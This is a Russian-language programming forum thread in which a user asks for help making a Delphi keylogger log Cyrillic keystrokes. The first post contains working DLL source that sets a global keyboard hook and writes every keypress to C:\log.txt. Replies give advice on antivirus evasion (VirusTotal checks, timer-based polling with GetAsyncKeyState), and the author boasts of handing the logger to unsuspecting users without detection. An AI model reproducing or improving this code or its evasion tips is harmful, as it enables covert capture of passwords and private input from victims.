Помогите в написании KeyLogger
|
|
xC0der | Дата: Среда, 31.08.2011, 09:00 | Сообщение # 1 |
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
| Необходимо чтобы кейлоггер, записывал русские. нажатые клавиши В лог записываются только английские буквы Вот код DLL библиотеки:
Code library hook; Uses Windows, Messages, Sysutils;
var myHook: HHook = 0;
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall; var c: char; f: text; key: array [0..16] of Char; begin if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then begin Assign(f,'C:\log.txt'); //Сохранение нажатых клавиш в файл if FileExists('C:\log.txt') then Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln(f,key); CloseFile(f); end; result:= CallNextHookEx(myHook,code,wParam,lparam); end;
procedure setHook(Hook: boolean) export; stdcall; begin if Hook then begin if myHook=0 then myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0); end else begin if myHook<>0 then UnHookWindowsHookEx(myHook); myHook:=0; end; end;
exports setHook name 'SetHook';
begin end.
Сообщение отредактировал dolphin - Суббота, 24.09.2011, 10:23 |
|
| |
gravitas | Дата: Среда, 31.08.2011, 10:06 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Ну и тут вам отвечу, так и быть...
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
xC0der | Дата: Среда, 31.08.2011, 13:39 | Сообщение # 3 |
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
| Не совсем понял что такое VT ???
|
|
| |
Myips | Дата: Среда, 31.08.2011, 14:56 | Сообщение # 4 |
Частый гость
Зарегистрирован: 13.05.2011
Группа: Пользователи
Сообщений: 26
Статус: Offline
| _http://www.virustotal.com/
|
|
| |
xC0der | Дата: Четверг, 01.09.2011, 08:05 | Сообщение # 5 |
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
| Ну и в чем смысл выше сказанного?
|
|
| |
dolphin | Дата: Четверг, 01.09.2011, 10:58 | Сообщение # 6 |
Администратор
Сообщений: 906
Статус: Offline
| xC0der, библиотеки, хуки это в прошлом (хорошо детектируется и нагружает систему), надёжнее сейчас работать через таймер, извини но хорошего примера у меня нет, это просто совет в каком направлении искать.
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Четверг, 01.09.2011, 12:06 | Сообщение # 7 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (dolphin) извини но хорошего примера у меня http://delfcode.ru/forum/10-359-2930-16-1309508023
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Четверг, 01.09.2011, 18:17 | Сообщение # 8 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| dolphin, почему в прошлом?? несогласен!)) Вон сколько проектов используют самописные либы-и очень даже прибыльные!
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
dolphin | Дата: Четверг, 01.09.2011, 20:06 | Сообщение # 9 |
Администратор
Сообщений: 906
Статус: Offline
| Не в прошлом конешно, но очень сильно детектируются это для меня по крайней мере один из решающих факторов, и второй немаловажный - это небольшое подтормаживание системы при использовании глобальных хуков
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
vvova15 | Дата: Пятница, 02.09.2011, 12:15 | Сообщение # 10 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| хотелось бы увидеть как можно более изящно сделать в delphi проверку кадой клавиши? встречал и использовал раньше быдлокод типа: Code while(true) begin .... if(getasynckeystate(...)) strcat(log,caption); if(getasynckeystate(...)) strcat(log,caption); if(getasynckeystate(...)) strcat(log,caption); if(getasynckeystate(...)) strcat(log,caption); .... writefile(hf,log); end; в си можно описать хэштаблицу с кодами и названиями клавиш и преебирать ее в цикле со счетчиком, пропуская каждую запись через Getasynckeystate, а как реализовать на delphi? разве что двумерный массив использовать, но там только одного типа значения можно использовать.... два массива, один строковый и другой с кодами? думаю это будет небезопасно, т.к. может случиться выход за пределы массива если по какойто причине в одном массиве окажется больше элеменов чем в другом...
ICQ 185-398
Сообщение отредактировал vvova15 - Пятница, 02.09.2011, 12:16 |
|
| |
xC0der | Дата: Пятница, 02.09.2011, 16:58 | Сообщение # 11 |
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
| А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt...
|
|
| |
gravitas | Дата: Пятница, 02.09.2011, 17:26 | Сообщение # 12 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (xC0der) А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt... А среду разработки за вас не открыть?
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Пятница, 02.09.2011, 20:14 | Сообщение # 13 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| gravitas, dolphin, разве система от глобальных подтормаживает?? не слыхал ранее(если не считать касперыча с его перехватами ). А насчет длл соглашусь-ее много детектируют,причем даже если структура правильная-насколько помню,там ловят функи часто встречающиеся в малвари...
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
xC0der | Дата: Суббота, 03.09.2011, 08:28 | Сообщение # 14 |
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
| Ламерам подкидывал исходник кейлоггера с DLL лог нормально шел... Да и проактивкой не блочили
|
|
| |
dolphin | Дата: Вторник, 01.11.2011, 12:42 | Сообщение # 15 |
Администратор
Сообщений: 906
Статус: Offline
| Для вас как раз тема http://delfcode.ru/forum/30-573-1
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |